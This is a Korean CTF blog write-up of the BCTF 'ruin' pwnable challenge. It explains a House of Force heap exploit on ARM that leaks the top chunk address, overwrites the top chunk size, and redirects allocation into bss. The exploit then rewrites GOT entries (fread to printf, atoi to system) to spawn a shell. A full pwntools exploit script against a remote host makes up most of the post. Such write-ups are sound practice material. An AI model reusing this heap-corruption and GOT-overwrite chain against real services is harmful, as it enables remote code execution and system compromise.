cdor1's lab
BCTF ruin 본문
풀 문제를 찾다가 풀게 된 문제이다.
arm상에서 진행되는 heap exploit은 처음이였는데 별반 다를게 없었다.
house of force 기법을 이용해서 공격하게 되는데
처음에 8-bit key를 입력 받는 과정에서 top_chunk addr를 leak해 낼 수 있다.
edit메뉴에서 malloc(8)을 하고 24바이트를 받게 되는데 이 과정에서 top_chunk의 크기를 0xffffffff로 덮어준다.
sign_name 메뉴에서 자신이 원하는 크기만큼 힙에 할당 해 줄 수 있는데 이를 통해 hof를 트리거 할 수 있다.
hof를 트리거해서 bss영역을 가르키게 만들고 그 곳 포인터들을 활용해서
fread@got를 printf@plt로 덮어 got를 leak하고
atoi를 system으로 덮고 /bin/sh\x00을 써넣으면서 쉘을 얻어냈다.
from pwn import *
s = remote('sori.ml', 4000)
def input_key(key):
print s.recvuntil('please input your 8-bit key:')
s.send(key)
def update(key):
print s.recvuntil('Give me your choice(1-4):')
s.sendline('1')
print s.recvuntil('enter the new 16-bit key:')
s.sendline(key)
def secret(data):
print s.recvuntil('Give me your choice(1-4):')
s.sendline('2')
print s.recvuntil('please input your secret:')
s.sendline(data)
def sign(len):
print s.recvuntil('Give me your choice(1-4):')
s.sendline('3')
print s.recvuntil('please input your name length:')
s.sendline('-' + str(len))
input_key('aaaaaaaa')
print s.recvuntil('aaaaaaaa')
top = u32(s.recv(4))
log.info('top : ' + hex(top))
input_key('security')
secret(p32(0xffffffff)*4)
size = (0xffffffff - top - 0x10) + 0x10fb0
size = (0xffffffff ^ size) + 5
log.info('size : ' + hex(size))
sign(size)
payload = p32(0x90909090)
payload += p32(0x10fb4)
payload += p32(0x90909090)
payload += p32(0x10F68)
update(payload)
payload = p32(0x8594) * 2
payload += p32(0) * 2
update(payload)
payload = p32(0x10fb4)
payload += p32(0x90909090)
payload += p32(0x10f58)
secret(payload)
s.sendline('1')
print s.recvuntil('enter the new 16-bit key:')
printf = u32(s.recv(4))
system = printf - 0xf2f4
log.info('printf : ' + hex(printf))
log.info('system : ' + hex(system))
secret(p32(0x10F80))
secret(p32(system))
s.sendline('/bin/sh\x00')
s.interactive()
'Security > Pwnable' 카테고리의 다른 글
codegate 2017 3차 발표 준비 (0) | 2017.02.17 |
---|---|
Plaid CTF 2013 ropasaurusrex (4) | 2017.02.16 |
YISF 2016 bugmine (0) | 2017.02.15 |
pwnable.kr brain fuck (0) | 2017.02.15 |
MMA CTF 2nd 2016 shadow (0) | 2017.02.14 |
Comments